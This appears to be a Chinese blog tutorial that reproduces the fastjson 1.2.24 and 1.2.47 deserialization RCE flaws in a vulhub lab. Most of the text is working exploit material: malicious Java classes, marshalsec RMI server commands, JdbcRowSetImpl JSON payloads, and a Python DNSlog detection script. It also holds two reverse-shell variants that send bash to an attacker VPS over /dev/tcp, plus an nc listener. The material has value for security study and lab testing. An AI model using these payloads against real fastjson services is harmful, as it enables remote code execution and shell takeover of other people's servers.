fastjson 1.2.24/1.2.47漏洞复现

目录

Fastson     

fastjson 1.2.24 反序列化导致任意命令执行漏洞复现

环境要求

复现过程

反弹shell

POC检测脚本(利用DNSlog)

Fastjson 1.2.47 远程命令执行漏洞

漏洞复现

反弹shell

fastjson指纹识别


 


Fastson     

fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。即fastjson的主要功能就是将Java Bean序列化成JSON字符串,这样得到字符串之后就可以通过数据库等方式进行持久化了。

优点:

  • 速度快:fastjson相对其他JSON库的特点是快,从2011年fastjson发布1.1.x版本之后,其性能从未被其他Java实现的JSON库超越。
  • 使用广泛:fastjson在阿里巴巴大规模使用,在数万台服务器上部署,fastjson在业界被广泛接受。在2012年被开源中国评选为最受欢迎的国产开源软件之一。

Fastjson接口简单易用,已经被广泛使用在缓存序列化、协议交互、Web输出、Android客户端等多种应用场景。但是,从诞生之初,fastjson就多次被爆出存在反序列化漏洞。并且,每次都和autoType有关!那么,什么是autoType呢:https://zhuanlan.zhihu.com/p/157211675?from_voters_page=true

fastjson 1.2.24 反序列化导致任意命令执行漏洞复现

     fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

环境要求

1. JDK小于 1.9 ,这里用到的 openjdk version "1.8.0_272"(一定不要用高版本的不然会复现不出来)

2 .靶机Ubuntu

3. 攻击机 VPS

4. 工具: marshalsec-0.0.3-SNAPSHOT-all.jar

复现过程

利用vulhub的环境,执行docker-compose up -d 访问8090,出现如下说明环境搭建成功

我们向这个地址POST一个JSON对象,即可更新服务端的信息:

curl http://192.168.140.158:8090/ -H "Content-Type: application/json" --data '{"name":"xzc", "age":23}'

如下

编辑恶意类

      编译如下Exploit.java代码为class文件

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
 
public class Exploit{
    public Exploit() throws Exception {
        Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "touch /tmp/success666"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
 
        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }
 
        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }
 
    public static void main(String[] args) throws Exception {
    }
}

进行编译,生成class文件:

javac Exploit.java

将这两个文件上传到VPS的同一个目录下

python 起HTTP服务

      用VPS起HTTP服务,需在fastjson文件的目录下

python3 -m http.server 6666

如果是python2的话就是

python -m SimpleHTTPServer 11111

然后我们可以在浏览器上访问这个HTTP服务,访问成功就说明服务开启成功了

起RMI服务

      最后,我们使用marshalsec-0.0.3-SNAPSHOT-all.jar起一个RMI服务器,监听9999端口,并制定加载远程类 Exploit.class

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://http://VPS服务器ip地址:端口/#Exploit" 9999

数据包攻击

     提交下面的payload

POST / HTTP/1.1
Host: 192.168.140.158:8090 //靶机的ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://VPS的ip:9999/Exploit",
        "autoCommit":true
    }

服务器响应500则发送成功

可以看到我们这边监听也收到了请求,如果出现了warning(是因为攻击机的jdk版本大于1.9)

进入容器查看,docker ps 列出正在运行的容器,可能会有几个相同名字的容器千万不要进错了!!不然以为自己没有创建成功

进入容器

docker exec -it 8884066735aa bash

反弹shell

以上实现了远程命令执行,下面进行反弹shell

前面的步骤一样的:

1. 起http服务

2. 编辑恶意类(这里将类中创建文件的命令改为反弹shell的命令就行)

3. 发送数据包

       Exploit.java就得修改为反弹shell的命令

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
 
public class Exploit{
    public Exploit() throws Exception {
        Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "bash -i >& /dev/tcp/VPS的IP/6666 0>&1"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
 
        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }
 
        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }
 
    public static void main(String[] args) throws Exception {
    }
}

vps监听 nc -lvp 6666

发送数据包

提交下面的payload

POST / HTTP/1.1
Host: 192.168.140.158:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://VPS的:9999/Exploit",
        "autoCommit":true
    }

POC检测脚本(利用DNSlog)

      python poc.py url

脚本内容如下

#author:xcc
import requests
import os
import random
from hashlib import md5
import json
import argparse
import sys
class Fastjson_1_2_24():

    def url(self):
        parser = argparse.ArgumentParser(description='fastjson 1.2.24 反序列化导致任意命令执行漏洞检测POC')
        parser.add_argument('target_url',type=str,help='The target address,example: http://192.168.140.153:8090')
        args = parser.parse_args() 
        global target_url
        target_url = args.target_url
        print("fastjson 1.2.24 反序列化导致任意命令执行漏洞检测POC!!")
        print("正在执行检测...")
        print("目标地址:",target_url)
        return target_url

    def randmd5(self):
        new_md5 = md5()
        new_md5.update(str(random.randint(1, 1000)).encode())
        return new_md5.hexdigest()[:6]  #取前6位

    def get_domain(self):
        global header
        header={'cookie': 'UM_distinctid=17333bd886662-037f6fda493dae-4c302372-100200-17333bd8867b; CNZZDATA1278305074=612386535-1594299183-null%7C1594299183; PHPSESSID=drh67vlau4chdn44eadh0m16a0',
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0'}
        global rand
        rand = self.randmd5()
        getDoMain = 'http://www.dnslog.cn/getdomain.php'
        try:
            r = requests.get(getDoMain, headers=header, timeout=5)
            if r.status_code == 200:
                global dnslogUrl
                dnslogUrl = rand + '.' + r.text
            else:
                sys.exit()
            print(dnslogUrl)
            return dnslogUrl
        except:
            print('Exception found')
            sys.exit()
    def post_target(self):
        headers = {
            'Accept-Encoding': 'gzip, deflate',
            'Accept': '*/*',
            'Accept-Language': 'en',
            'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)',
            'Connection': 'close',
            'Content-Type': 'application/json',    
        }
        data = {"zeo":{"@type":"java.net.Inet4Address","val":dnslogUrl}}
        try:
            re = requests.post(url=target_url,data=json.dumps(data),headers=headers,timeout=5)
            print("正在请求目标地址...")
        except:
            print('Exception found')
            sys.exit()

    def get_records(self):
        getRecords = 'http://www.dnslog.cn/getrecords.php'
        try:
            res = requests.get(getRecords,headers=header,timeout=5)
        except:
            print('请求失败!')
        if res.status_code == 200:
            if rand in res.text:
                print(res.text)
                print(f"疑似存在漏洞")
            else:
                print("不存在漏洞")
        else:
            print("请求失败!")
            sys.exit(0)

    def main(self):
        self.url()
        self.randmd5()
        self.get_domain()
        self.post_target()
        self.get_records()

if __name__ == '__main__':
    exploit = Fastjson_1_2_24()
    exploit.main()

Fastjson 1.2.47 远程命令执行漏洞

    和fastjson1.2.24差不多,就是poc不一样而已

环境搭建也是一样的

漏洞复现

TouchFile.java文件

import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

javac TouchFile.java 编译

将两个文件上传到VPS

起python服务

python3 -m http.server 11111

起RMI服务

使用marshalsec-0.0.3-SNAPSHOT-all.jar起一个RMI服务器,监听9999端口,并制定加载远程类

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://vps地址:11111/#TouchFile" 9999

发送数据包

POST / HTTP/1.1
Host: 192.168.140.158:8090   #靶机地址
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 263

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://VPS地址:端口/Exploit",  #这里的Exploit不能变
        "autoCommit":true
    }
}

注意

发送数据包后,RMI服务和http服务,必须接收到如下返回的数据才说明发送payload成功

RMI服务

http服务

查看文件是否创建成功

反弹shell

将创建文件的命令换为反弹shell的命令就行,其他所有的步骤都一样!!

TouchFile.java文件

import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            //创建文件的命令为:String[] commands = {"touch", "/tmp/success"};
            String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/vps地址/6666 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

fastjson指纹识别

当我们在渗透测试中,抓包的时候发现返回的流量内容存在json格式时,我们就可以想它是不是使用了fastjson库

接着我们可以进一步进行判断

 1. 根据报错信息判断

发送一个post请求,发送的数据为没闭合的花括号,如果服务器没有屏蔽错误信息则会报出fastjson的信息。如果屏蔽了报错信息请看第二条

2. 利用dnslog盲打

对目标发送一个POST请求,内容如下

{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}} 

DNSlog刷新成功

                                                                                                                                                                                                                                                                               —— 心,若没有栖息的地方,到哪里都是流浪

猜你喜欢

转载自blog.csdn.net/qq_44159028/article/details/112393935